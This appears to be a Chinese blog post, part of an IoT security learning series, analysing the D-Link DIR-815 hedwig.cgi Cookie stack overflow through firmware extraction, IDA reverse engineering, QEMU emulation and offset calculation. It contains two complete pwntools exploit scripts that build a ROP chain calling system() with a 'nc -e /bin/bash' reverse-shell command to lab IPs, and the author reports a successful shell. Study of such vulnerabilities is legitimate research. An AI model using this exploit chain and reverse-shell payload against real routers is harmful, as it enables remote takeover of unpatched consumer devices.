《IOT废物学习之路》(7)–D-Link-DIR-815路由器多次溢出漏洞分析

漏洞公告:https://www.exploit-db.com/exploits/33863

漏洞介绍

POC和漏洞报告中可以看出,该漏洞存在于名为hedwig.cgiCGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使程序堆栈溢出,从而获得路由器远程控制权限。

image-20231208153705286

漏洞分析

固件提取

https://rebyte.me/en/d-link/89510/file-592084/固件下载地址

解压缩得到:DIR-815-FW-1.01b14_1.01b14.bin固件

利用binwalk提取固件

1
2
3
4
sudo docker run -it --rm \
-v $(pwd):$(pwd) \
asdqwe876/iot_analyze \
binwalk --run-as=root -C $(pwd) -Mer $(pwd)/DIR-815-FW-1.01b14_1.01b14.bin

但是出现了很多告警,大致就是该软链接指向解压目录之外,为了安全起见binwalk会将其重定向到/dev/null。后续的测试如果直接使用这样解压出来的文件将会出现各种问题。所以需要采取其它方法,具体的解决办法可以看Cybelangel师傅的文章

image-20231208154435751

重新提取之后并没有出现告警

image-20231208155627183

ll查看一下,发现漏洞组件hedwig.cgi是一个指向的./hedocs/cgibin的符号链接,所以说真正的漏洞代码存在于./hedocs/cgibin

image-20231208160017853

IDA静态分析,定位漏洞代码

静态分析cgibin文件,因为知道是由于Cookie值过长导致的,所以可以利用查找字符串(SHIFT+F12),然后交叉引用跟踪到hedwigcgi_main函数。

image-20231208161043589

image-20231208161055920

image-20231208161113230

所以说这个hedwigcgi_main就是主函数,通过代码审计,可以定位到是因为一个sprintf函数导致的溢出

image-20231208161257230

由于并没有对长度进行限制,所以导致栈溢出。

其中发现了许多sobj的函数,所以也对其都进行一下分析

定义结构体

在IDA中手动定义结构体:View–>Open Subviews–>Structures,然后再按下insert就行。

image-20231208162358098

增加变量是D,修改名称n,修改类型y

定义的结构体如下

1
2
3
4
5
6
7
8
9
00000000 sobj struc  # (sizeof=0x18, mappedto_7)
00000000 field_0:.word ? # offset
00000004 field_4:.word ? # offset
00000008 field_8:.word ?
0000000C max_size:.word ?
00000010 used_size:.word ?
00000014 string:.word ? # offset
00000018 sobj ends
00000018

image-20231208163054106

修改变量类型。

sobj_new()申请一个新的字符串结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sobj *sobj_new()
{
sobj *result; // $v0

result = malloc(0x18u);
if ( result )
{
result->field_8 = 0;
result->max_size = 0;
result->used_size = 0;
result->string = 0;
result->field_4 = result;
result->field_0 = result;
}
return result;
}

sobj_free()将该字符串结构中的字符串删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall sobj_free(sobj *a1)
{
int result; // $v0
int *string; // $a0

result = -1;
if ( a1 )
{
string = a1->string;
if ( string )
free(string);
a1->field_8 = 0;
a1->string = 0;
a1->max_size = 0;
a1->used_size = 0;
return 0;
}
return result;
}

sobj_add_char()向该字符串结构追加一个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall sobj_add_char(sobj *a1, char a2)
{
int used_size; // $v1
int *string; // $v0

if ( !a1 || a1->max_size == a1->used_size && sub_40E864() < 0 )
return -1;
used_size = a1->used_size;
*(a1->string + used_size) = a2;
string = a1->string;
a1->used_size = used_size + 1;
*(string + used_size + 1) = 0;
return 0;
}

sobj_strcmp()将字符串结构中的字符串与给定字符串进行对比,如果当前字符串结构的字符串空间还未申请,就拿空字符串对比

1
2
3
4
5
6
7
8
9
10
11
int __fastcall sobj_strcmp(sobj *a1, const char *a2)
{
const char *string; // $a0

if ( !a1 )
return -1;
string = a1->string;
if ( !string )
string = "";
return strcmp(string, a2);
}

sobj_get_string()获得字符串结构中的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
char *__fastcall sobj_get_string(sobj *a1)
{
int *string; // $v1

string = 0;
if ( a1 )
{
string = a1->string;
if ( !string )
return "";
}
return string;
}

sobj_add_string()向字符串结构中追加新的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall sobj_add_string(sobj *a1, const char *a2)
{
int v4; // $v1
size_t v5; // $s1
int v6; // $v0
int used_size; // $v1

if ( !a1 )
return -1;
v4 = 0;
if ( a2 )
{
v5 = strlen(a2);
if ( v5 )
{
while ( 1 )
{
used_size = a1->used_size;
if ( a1->max_size - used_size >= v5 )
break;
v6 = sub_40E864(a1);
v4 = -1;
if ( v6 < 0 )
return v4;
}
strcpy(a1->string + used_size, a2);
v4 = 0;
a1->used_size += v5;
}
else
{
return 0;
}
}
return v4;
}

sobj_del()删除字符串结构

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall sobj_del(sobj *a1)
{
int *string; // $a0

if ( a1 )
{
string = a1->string;
if ( string )
free(string);
free(a1);
}
}

sess_get_uid()

image-20231208194925491

综上所述,只有Cookie的形式为uid=payload才会被接受

再分析上层函数hedwigcgi_main

只接收POST请求方式

image-20231208195243676

QEMU动态分析

根据上述分析,因为是栈溢出漏洞,所以首先需要确定偏移量

利用一个patternLoc0ffset.py生成一个2000个字符的文本文件

1
python patternLocOffset.py -c -l 2000 -f test

image-20231208200357860

patternLocOffset.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python
#####################################################################################
## Create pattern strings & location offset
## Tested against Ubuntu 12.04 & Windows # #
##
## Example:
## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt
### [*] Create pattern string contains 260 characters ok!
### [+] output to output.txt ok!
##
## C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260
### [*] Create pattern string contains 260 characters ok!
### [*] Exact match at offset 3
#
## Nimdakey # 09-10-2013
#####################################################################################

import argparse
import struct
import binascii
import string
import time
import sys
import re

a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b = "abcdefghijklmnopqrstuvwxyz"
c = "0123456789"

def generate(count,output):
#
# pattern create
codeStr = ''
print '[*] Create pattern string contains %d characters'%count,
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output,
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)

def patternMatch(searchCode, length=1024):
#
# pattern search
offset = 0
pattern = None

timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)

if is0xHex:
#0x41613141
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
#41613141
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)

source = generate(length,None)
offset = source.find(pattern)

if offset != -1:
print "[*] Exact match at offset %d"%offset
else:
print "[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)"%offset
print "[+] take time: %.4f s"%(time.time()-timeStart)

def main():
## parse argument
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',\
action='store_true')
parser.add_argument('-f', '--file', help='output file name',\
default='patternShell.txt')
parser.add_argument('-l', '--length',help='length of pattern code',\
type=int,default=1024)
#parser.add_argument('-v', dest='verbose', action='store_true')
args = parser.parse_args()

## save all argument
length = args.length
output = args.file
#verbose = args.verbose
createCode = args.create
searchCode = args.search

if createCode and (0 < args.length <= 26*26*10):
#eg: -c -l 90
generate(length,output)
elif searchCode and (0 < args.length <= 26*26*10):
#eg: -s 0x474230141
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'
# ...

if __name__ == "__main__":
main()

流程:

1
2
3
4
主Web程序监听端口->传送HTTP数据包->
HTTP中headers等数据通过环境变量的方式传给cgi处理程序->
cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
#POST具体数据可以通过类似输入流传入:echo "uid=aaa"| /htdocs/web/hewig.cgi

由于程序是通过getenv的方式获取HTTP数据包中数据,所以动态调试模拟时需要使用qemu -E设置环境变量。

动调测试脚本 squashfs1.sh

1
2
3
4
5
6
7
#!/bin/bash
#注意:里面=和变量之间一定不能有空格,否则会读入空数据
test=$(pythoc -c "print 'uid='+open('test','r').read(2000)")#以文件读取的方式读取字符串
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
#前提是qemu-mipsel-static在当前目录下,-E是设置环境变量
sudo chroot . ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH=$LEN -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$test" -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null#不输出错误提示

squashfs-root目录下执行./sprintf1.sh,后利用IDA远程GDB调试,发现返回地址已经被过长的字符串覆盖,从而地址程序崩溃。

image-20231209092134408

这样我们就可以计算偏移了

1
python patternLocOffset.py -s 0x38694237 -l 2000

得到偏移1043

image-20231209093011592

仔细分析之后在这个sprintf漏洞后还有一个sprintf漏洞

image-20231209095429912

这里跟上面的sprintf函数一样,也是对提取的uid的值进行格式化输出。如果这个sprintf执行成功的话,缓冲区将会被覆盖,偏移也会随之改变。所以我们还需要触发这个漏洞从而重新计算偏移。

根据静态分析,如果要能够触发这个漏洞,就必须要满足fopen("/var/tmp/temp.xml", "w")

image-20231210110133712

也就是说需要存在该文件。

由于提取的固件文件系统中没有这个目录和文件,所以需要在创建对应的目录和文件。

1
2
3
mkdir var/tmp
touch var/tmp/temp.xml
ls var/tmp/

image-20231210110710900

并且继续向下分析的话,如果haystack0的话,也是无法触发第二个sprintf漏洞的。

经过交叉引用查看,判断只要传入的参数不为空,haystack就不会为0,即可以触发第二个sprintf漏洞。

所以根据上述分析,对动态调试脚本进行修改。

sprintf2.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
# sprintf2.sh
# sudo ./sprintf2.sh "x=x" `python -c "print 'uid=' + open('test','r').read()"`

INPUT="$1"
COOKIE="$2"
PORT="1234"
LEN=$(echo -n "$INPUT" | wc -c)

echo $INPUT | chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi

IDA远程调试后,计算偏移

image-20231210114012248

1
python patternLocOffset.py -s 0x68423668 -l 2000

image-20231210114242218

得到偏移为1009

构造ROP

接下来就利用gadget构造ROP劫持PC

可以看到libc.so.6是一个指向libuClibc-0.9.30.1.so的软链接

image-20231210114616713

先从libc文件中找到system函数的偏移0x53200

image-20231210115238264

如果直接将system的地址写入时,因为有\x00会被截断,所以需要将system地址减去1,这样就避免了被截断的情况,最后我们只需要将其再加1即可。

然后还需要找一个能将system首个参数传入a0gadget

所以总结需要找到两个gadget

  • gadget1:将第一个参数传入到a0
  • gadget2:将system_addr(原本是-1,为了防止被截断)的地址+1

所以需要利用到IDA中的mipsrop插件寻找这两个gadget

使用mipsrop的步骤

前提需要在idapython中先输入以下代码

1
2
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()

IDAPython中输入mipsrop.stackfinders()

image-20231210140124741

0x159cc处的gadget可以利用,是将$sp+10处的地址存放到$a0

1
2
3
4
5
6
.text:000159CC 10 00 B5 27                   addiu   $s5, $sp, 0x14C+var_13C
.text:000159D0 21 28 60 02 move $a1, $s3
.text:000159D4 21 30 20 02 move $a2, $s1
.text:000159D8 21 C8 00 02 move $t9, $s0
.text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy
.text:000159E0 21 20 A0 02 move $a0, $s5

再寻找能将system地址+1的gadget。

IDAPython中输入mipsrop.find('addiu $s0,1')

image-20231210140725912

0x158c8处的gadget可以利用,将$s0处的地址+1,然后再跳回$s5

1
2
3
4
5
6
7
8
9
.text:000158C8 21 C8 A0 02                   move    $t9, $s5
.text:000158CC 09 F8 20 03 jalr $t9
.text:000158D0 01 00 10 26 addiu $s0, 1
.text:000158D0
.text:000158D4 00 00 57 A0 sb $s7, 0($v0)
.text:000158D8 00 00 45 8E lw $a1, 0($s2)
.text:000158DC 01 00 44 24 addiu $a0, $v0, 1
.text:000158E0 21 C8 A0 02 move $t9, $s5
.text:000158E4 09 F8 20 03 jalr $t9

找到hedwigcgi_main回收栈部分

image-20231210141124636

所以栈上的布局:

1
2
3
4
5
6
7
8
9
10
# $sp+0x400+0x20        s0            
# $sp+0x400+0x20 s1
# $sp+0x400+0x20 s2
# $sp+0x400+0x20 s3
# $sp+0x400+0x20 s4
# $sp+0x400+0x20 s5
# $sp+0x400+0x20 s6
# $sp+0x400+0x20 s7
# $sp+0x400+0x20 fp
# $sp+0x400+0x24 $ra

所以可以编写exp,但是我们首先得计算出基址。

由于qemu模拟,gdb远程调试无法使用vmmap,所以我们只能用过动态调试,利用其他函数的地址计算出基址

image-20231210141901477

所以基址:

1
base_addr = 0x3ff65a70 - 0002DA70 = 0x3ff38000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./htdocs/cgibin')
elf = ELF('./htdocs/cgibin')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('', )
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------

libc = ELF('./lib/libuClibc-0.9.30.1.so')

libc_addr = 0x3ff38000
system = libc_addr + libc.symbols['system']

lg("system_addr",system)

gadget1 = 0x000158C8
gadget2 = 0x000159CC


#1009 0x3F1

# padding:0x3DC 0x3F1-0x3DC=0x24
# $sp+0x400+0x20 s0
# $sp+0x400+0x20 s1
# $sp+0x400+0x20 s2
# $sp+0x400+0x20 s3
# $sp+0x400+0x20 s4
# $sp+0x400+0x20 s5
# $sp+0x400+0x20 s6
# $sp+0x400+0x20 s7
# $sp+0x400+0x20 fp
# $sp+0x400+0x24 $ra


cmd = 'nc -e /bin/bash 192.168.247.129 6666'
padding = 'A' * 0x3CD

padding += p32(system -1)
padding += 'AAAA'
padding += 'AAAA'
padding += 'AAAA'
padding += 'AAAA'
padding += p32(libc_addr+gadget2)
padding += 'AAAA'
padding += 'AAAA'
padding += 'AAAA'
padding += p32(libc_addr+gadget1)

padding += 'A' * 0x10
padding += cmd

f = open("exploit","wb+")

f.write(padding)

f.close()

生成EXP

1
python exp.py

image-20231210142915858

动态验证(qemu-user)

image-20231210143813163

但是无法get shell,在gdb中一直卡在0x3ff4d9e4 lw $gp, 0x10($fp)

可能是由于qemu用户模式下仿真执行程序,环境各种因素可能会影响导致getshell失败。

qemu-system系统模式

使用系统模拟,可以重现http服务.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 虚拟机------------------------------------------------------------
# 路由器文件系统打包
tar czf rootfs.tar.gz ./rootfs

# 启动ssh
service ssh start

# 配置网卡
sudo ip tuntap add tap0 mode tap #使用ip命令创建TAP接口
sudo ip link set tap0 up #启用tap0
sudo ifconfig tap0 10.0.0.1/24 #配置网卡

# qemu启动(账号密码均为root)
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -smp 4

#qemu------------------------------------------------------------
ifconfig eth0 10.0.0.2/24 #配置qemu内部ip
echo 0 > /proc/sys/kernel/randomize_va_space #关闭地址随机化
service ssh start #启动ssh服务
1
2
3
4
5
6
7
8
-M malta	#指定要仿真的开发板:malta
-kernel #要运行的镜像
-hda #指定硬盘镜像
-append cmdline #设置linux内核命令行、启动参数
-net nic #为虚拟机网卡(默认为tap0)
-net tap #系统分配tap设备(默认为tap0)
-net -nic -net tap #将虚拟机的网卡eth0连接真机里的tap0
-nographic #非图形化启动,使用串口作为控制台

https://people.debian.org/~aurel32/qemu/mipsel/qemu-system

所需的-kernel和-hda文件下载地址

将固件提取的文件系统从主机传到qemu上(利用scp)

1
sudo scp -r squashfs-root root@10.0.0.1:/root/

squashfs-root需要放置配置文件conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu虚拟机的网卡
Address 10.0.0.2 #对于qemu虚拟机IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

然后在squashfs-root目录下执行copy.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf

这一步是为了配置启动http服务需要的环境和动态链接库。

通过以下命令访问:-V显示详细信息,-X指定指令,-H自定义头信息传递给服务器,-b指定cookie字符串

1
curl http://10.0.0.2:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b  "uid=zh"

image-20231210171311172

curl在linux中是一个利用URL规则在命令行下工作的文件传输工具。

重新计算偏移

动调脚本debug.sh

1
2
3
4
5
6
7
8
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat exploit`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|/htdocs/web/hedwig.cgi
echo "uid=1234"|./gdbserver.mipsel 192.168.247.129:6666 /htdocs/web/hedwig.cgi #IP为宿主机IP

主机中

1
2
3
gdb-multiarch htdocs/cgibin
set architecture mips
target remote 10.0.0.2:6666 #对应qemu地址和端口

image-20231210174728435

再次计算偏移

1
python patternLocOffset.py -s 0x68423668 -l 2000

可以看出,偏移还是1009

image-20231210174906130

顺便重新计算基址

1
base = 0x77f61a70 - 0002DA70 = 0x77F34000

上述是一种方法,跟用qemu-user模式确定基址方法相同

还有另外一种方法

利用(注意根据会先pid规律,快速修改预测pid执行,否则maps地址数据不会出来)

1
2
3
4
5
6
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=1234"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
/htdocs/web/hedwig.cgi & cat /proc/pid/maps #前提是提前设置好环境变量

image-20231210175553267

所以确定了基址为0x77F34000

编写EXP

system方法:将上面的explibc基地址偏移改掉然后cmd换成nc -e /bin/bash 10.0.0.1 6666IP地址是ubuntu机器的,即攻击主机IP

debug2.sh

1
2
3
4
5
6
7
8
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat exploit`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|/htdocs/web/hedwig.cgi
#echo "uid=1234"|./gdbserver.mipsel 192.168.247.129:6666 /htdocs/web/hedwig.cgi #IP为宿主机IP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./htdocs/cgibin')
elf = ELF('./htdocs/cgibin')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('', )
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------

libc = ELF('./lib/libuClibc-0.9.30.1.so')

libc_addr = 0x77F34000
system = libc_addr + libc.symbols['system']

lg("system_addr",system)

gadget1 = 0x000158C8
gadget2 = 0x000159CC


#1009 0x3F1

# padding:0x3DC 0x3F1-0x3DC=0x24
# $sp+0x400+0x20 s0
# $sp+0x400+0x20 s1
# $sp+0x400+0x20 s2
# $sp+0x400+0x20 s3
# $sp+0x400+0x20 s4
# $sp+0x400+0x20 s5
# $sp+0x400+0x20 s6
# $sp+0x400+0x20 s7
# $sp+0x400+0x20 fp
# $sp+0x400+0x24 $ra

#反向shell
cmd = 'nc -e /bin/bash 10.0.0.1 6666'
padding = 'A' * 0x3CD

padding += p32(system -1)
padding += 'AAAA'
padding += 'AAAA'
padding += 'AAAA'
padding += 'AAAA'
padding += p32(libc_addr+gadget2)
padding += 'AAAA'
padding += 'AAAA'
padding += 'AAAA'
padding += p32(libc_addr+gadget1)

padding += 'A' * 0x10
#padding += '/bin/sh'
padding += cmd

f = open("exploit","wb+")

f.write(padding)

f.close()

image-20231210180648810

可以看到成功拿到shell !!!

参考资料:

D-Link DIR-815 路由器多次溢出漏洞分析 | Lantern’s 小站

[原创]家用路由器漏洞挖掘实例分析[图解D-LINK DIR-815多次溢出漏洞]-智能设备-看雪-安全社区|安全招聘|kanxue.com

D-Link DIR-815路由器多次溢出漏洞分析 | here’s ling’s blog (ll1ng.github.io)

DIR-815 路由器多次溢出漏洞分析-CSDN博客